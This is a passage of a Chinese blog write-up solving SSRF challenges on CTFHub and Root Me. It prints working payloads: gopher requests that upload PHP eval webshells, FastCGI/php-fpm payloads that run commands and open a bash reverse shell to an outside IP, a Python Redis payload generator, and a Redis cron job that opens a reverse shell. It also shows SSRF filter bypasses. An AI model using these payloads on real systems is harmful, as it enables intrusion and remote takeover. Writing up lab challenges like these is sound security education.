gopher%3A%2F%2F127.0.0.1%3A80%2F1POST%20%2Fflag.php%20HTTP%2F1.1%250d%250aHost%3A%20127.0.0.180%250d%250aContent-Length%3A%20219%250d%250aCache-Control%3A%20max-age%3D0%250d%250aOrigin%3A%20http%3A%2F%2Fchallenge-8552803273476b5e.sandbox.ctfhub.com%3A10080%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aDNT%3A%201%250d%250aContent-Type%3A%20multipart%2Fform-data%3B%20boundary%3D----WebKitFormBoundaryP4xwAhs1YREMStQb%250d%250aUser-Agent%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F89.0.4389.90%20Safari%2F537.36%20Edg%2F89.0.774.63%250d%250aAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Fwebp%2Cimage%2Fapng%2C*%2F*%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.9%250d%250aReferer%3A%20http%3A%2F%2Fchallenge-8552803273476b5e.sandbox.ctfhub.com%3A10080%2F%3Furl%3Dhttp%3A%2F%2F127.0.0.1%3A80%2Fflag.php%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%2Cen%3Bq%3D0.8%2Cen-GB%3Bq%3D0.7%2Cen-US%3Bq%3D0.6%250d%250aConnection%3A%20close%250d%250a%250d%250a------WebKitFormBoundaryP4xwAhs1YREMStQb%250d%250aContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22gbb.php%22%250d%250aContent-Type%3A%20application%2Foctet-stream%250d%250a%250d%250a%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%250d%250a------WebKitFormBoundaryP4xwAhs1YREMStQb--%250d%250a

得到 Flag

上传文件flag.png

FastCGI协议

FastCGI协议.png

笔者依稀记得 FastCGI 有个命令执行,19 年在公司实习刚好短信服务器在外网开放 php-fpm 9000 端口,尝试打 Payload 直接就拿到 root 。

CGI 进化历程 CGI -> FastCGI -> PHP-FPM

CGI(Common Gateway Interface) 的产生是因为需要动态处理输入,当 Client 发送 HTTP 请求到 WebServer,首先会把 GET 参数存入环境变量中,POST 参数会直接传递给 CGI 处理。

WebServer 去启动 CGI 进程处理直接传递的 POST 参数或是环境变量中 GET 参数,处理完成由 CGI 返回到 WebServer 再交给到 Client 浏览器,之后结束掉 CGI 进程,每次请求动态内容都是如此操作。

FastCGI 原理和 CGI 类似,主要改进点在于进程一直运行,你来请求我就处理,减少运行和结束 CGI 进程的开销。

PHP-FPM 监听在公网就可能导致任何人都可以加上 php_value/php_admin_value 修改 PHP 配置内容发送 FastCGI 请求执行命令。

《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》发布了发送请求的代码,《浅析php-fpm的攻击方式》将代码发送的 Payload 用 URL 编码提取出来,用 Gopher 协议利用。

下面代码解码后是执行 id 命令,可根据需求将 php 代码进行修改 %3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E

gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/test.php%0B%16SCRIPT_NAME/var/www/html/test.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URI/var/www/html/test.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05%A7L%00%00%00%00

在介绍 Gopher 协议一节中提到利用参考链接,长亭这篇文章中同样提供现成 Payload。

下面命令是执行 bash 反弹 Shell 操作。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

在经过测试后发现 Payload 不是固定的尝试以下内容都失败

解码前:
1. 将上面 id 进行替换还尝试了更改ContentLength
gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH71%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/index.php%0B%16SCRIPT_NAMEindex.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URIindex.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20system(%22echo%20%27%3C%3Fphp%20eval(%24_POST%5Bsb%5D%20)%27%3E%2Fvar%2Fwww%2Fhtml%2Fgbb.php%22)%3B%3F%3E%01%05%A7L%00%00%00%00

2. 使用 https://github.com/tarunkant/Gopherus 生成 Payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%02%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%15SCRIPT_FILENAME/var/www/html/302.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_e4100679f0c9b85505aa091cf90c2075%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

解码后:
gopher://127.0.0.1:9000/_�L�L�CONTENT_LENGTH23CONTENT_TYPEapplication/textREMOTE_PORT9985    SERVER_NAMElocalhostGATEWAY_INTERFACEFastCGI/1.0SERVER_SOFTWAREphp/fcgiclient    REMOTE_ADDR127.0.0.1SCRIPT_FILENAME/var/www/html/index.phpSCRIPT_NAMEindex.php    PHP_VALUEauto_prepend_file = php://inputREQUEST_METHODPOSTSERVER_PORT80SERVER_PROTOCOLHTTP/1.1QUERY_STRINGPHP_ADMIN_VALUEallow_url_include = On
DOCUMENT_ROOT/    SERVER_ADDR127.0.0.1REQUEST_URIindex.php�L�L<?php system("echo '<?php eval($_POST[sb] )'>/var/www/html/gbb.php");?>�L

gopher://127.0.0.1:9000/_SERVER_SOFTWAREgo / fcgiclient     REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH94REQUEST_METHODPOST    KPHP_VALUEallow_url_include = On
disable_functions = 
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/302.php
DOCUMENT_ROOT/^<?php system('cat /flag_e4100679f0c9b85505aa091cf90c2075');die('-----Made-by-SpyD3r-----
');?>

通过此工具 Gopherus/FastCGI.py at master · tarunkant/Gopherus · GitHub 生成 Payload 进行代码执行,或者直接用 SSRFmap,直接利用。

由于工具是 Python2 写的,将 print 修改为函数并调用当前函数即可。

FastCGI利用脚本.png

$ 转义是怕被当作变量调用。

FastCGI利用脚本-输出结果.png

通过 WebShell 在根目录找到 flag

FstCGI-Flag.png

参考文章

URL Bypass

URl Bypass.png

?url 参数必须包含 http://notfound.ctfhub.com

URl Bypass_1.png

第二次使用 http://notfound.ctfhub.com@127.0.0.1/flag.php 成功。

根本上是检测 URL 传过来的参数是不是以 http://notfound.ctfhub.com 开头,所以使用 @ 把地址当作凭证就行。

数字IP Bypass

数字IP Bypass.png

输入 127.0.0.1 和实体字符直接过滤,返回 hacker! Ban '/127|172|@/'

通过下面 Payload 可以绕过

http://127.0.0.1/flag.php
http://localhost/flag.php
http://017700000001/flag.php
http://2130706433/flag.php

302跳转 Bypass

302跳转 Bypass

它不是会跟随重定向取文件内容嘛,在自己服务器上新建一文件用于跳转 <?php header("Location: http://localhost/flag.php");?>

302跳转 Bypass_1.png

程序自动跟随重定向,获得 Flag。

302跳转 Bypass_flag.png

DNS重绑定 Bypass

DNS重绑定 Bypass

这个题好像有 Bug 你直接访问 127.0.0.1/flag.php 也能得到 Flag。暂时忽视代码问题,继续测试。

DNS重绑定 Bypass_1.png

解析到不正确地址会返回 hacker! Ban Intranet IP

DNS重绑定 Bypass_2.png

解析到 127.0.0.1 则返回 Flag。

DNS重绑定 Bypass_flag.png

Root Me

https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery

Flag 在 /root/passwd

RootMe-SSRF题目介绍.png

提示使用了 Curl

RootMe-漏洞应用界面.png

文件确实能读,但是无法读到 flag,估计没有权限。

RootMe-读取本地文件.png

直接试试 dict://127.0.0.1:6379/info 能够找到获得 info 命令结果

测试过程中 Response 获得 Apache&PHP版本

Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

读到默认根目录

RootMe-读取Apache配置文件.png

Burp 发请求一直阻塞中,以为是 Redis 有密码,查看密码发现并未设置那就是未授权啦。

RootMe-读取Redis配置文件.png

通过 https://github.com/assetnote/blind-ssrf-chains#redis 上传 PHP 文件脚本写入生成 Payload,直接写 Shell 成功

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379" 
shell="\n\n<?php eval($_POST[gbb]);?>\n\n"
filename="gbb.php"
path="/var/www/html/" 
passwd=""

cmd=["flushall",
     "set 0 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

生成如下 Payload

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A0%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bgbb%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252414%250D%250A%2Fvar%2Fwww%2Fhtml%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25247%250D%250Agbb.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

RootMe-写 Shell.png

确认 Shell 写入

RootMe-读取 Shell 文件.png

因为前面尝试过读取 Flag,目前 Shell 权限 apache 也是显示权限拒绝,Redis 写完 Shell SUID 无法提权

RootMe-查找可用SUID程序.png

实在没办法看看脏牛能不能搞...内核版本

Linux ssrf-box 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

一不留神发现 Redis 写入的 Shell 权限居然是 ROOT!那岂不是可以提权。

RootMe-WebShell文件权限.png

发现开启 SSH,外网禁止连接,放弃写入 SSH KEY。

RootMe-查看网络连接.png

尝试任务计划弹 Shell

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/47.93.48.46/7171 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

得到 flag ,试了试 flag-open-me.txt 不对,在 /passwd 中得到最终 flag 文件。

RootMe-SSRF挑战Flag.png

publier des solutions sur internet est interdit 官方强调不要公布解决方案,很明显本人已违反游戏规则.....对此想说那些刷分的人这只是他个人选择,没经过思考得到的方案对自己学习来说帮助不大,有什么意思呢?

参考链接

最近更新:

发布时间:

摆哈儿龙门阵